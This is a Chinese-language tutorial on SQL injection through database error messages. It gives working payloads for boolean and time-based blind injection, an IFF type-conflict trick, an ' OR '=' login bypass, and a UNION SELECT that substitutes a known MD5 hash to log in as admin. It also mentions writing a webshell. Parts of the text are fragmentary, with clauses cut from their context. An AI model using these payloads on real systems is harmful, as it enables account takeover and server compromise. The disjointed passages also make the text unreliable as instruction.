錯誤回顯 是 SQL 注入偵測與利用的關鍵情報來源。本文將錯誤歸類為**邏輯錯誤**、**語法錯誤**、**執行階段錯誤**三大類,並解析其產生原理與在盲注、Union 注入中的實戰利用技巧。
最基礎的注入判斷手法:AND 1=1 (真) vs AND 1=2 (假)。
WHERE id=1 AND 1=2 導致結果集為空,應用層讀取空值或跳轉,頁面內容缺失或異常。OR 1=1 使結果集膨脹至全表,若程式只取第一筆 (TOP 1 / LIMIT 1) 且未按主鍵排序,顯示的資料可能非預期筆 (如第一筆變成管理員帳號)。null,可作為識別特徵。構造不合法 SQL 觸發資料庫錯誤訊息回顯 (需關閉自定義錯誤頁面)。
IFF(1=1, 1, 'no') 回傳數字 vs 字串,搭配 id=1 AND 1=IFF(...) 強制型別轉換錯誤,區分真假條件 (支援 IFF 的資料庫較少)。BENCHMARK(1000000, MD5('x')) 導致查詢超時,透過**響應時間差異**進行盲注判斷。當頁面回顯極不明顯時,利用條件函數製造**型別衝突語法錯誤** vs **正常邏輯執行**的二元差異:
-- 假設支援 IFF(condition, true_val, false_val)
id=1 AND 1 = IFF(1=1, 1, 'no') -- 正常:1=1 為真
id=1 AND 1 = IFF(1=2, 1, 'no') -- 錯誤:嘗試比較 int 1 與 varchar 'no'
此技巧將「邏輯真/假」轉化為「語法成功/失敗」,大幅提升盲注判斷可靠度。
$sql = "SELECT TOP 1 * FROM admin WHERE username='$username' AND password=MD5('$pass')";
-- 注入 ' OR '=' 使 WHERE 恆真,返回第一筆管理員記錄通過驗證
$sql = "SELECT TOP 1 * FROM admin WHERE username='$username'";
-- ' OR '=' 返回第一筆記錄,但後續程式碼比對密碼失敗,無法登入
' AND 1=2 UNION SELECT TOP 1 username, 'e10adc3949ba59abbe56e057f20f883e', id
FROM admin WHERE username='admin
-- 123456 的 MD5 值替換密碼欄位,使用 admin/123456 登入並繼承權限
'xxx' 字串無法通過編譯。UNION SELECT 將 Webshell 寫入結果集欄位實現 Getshell。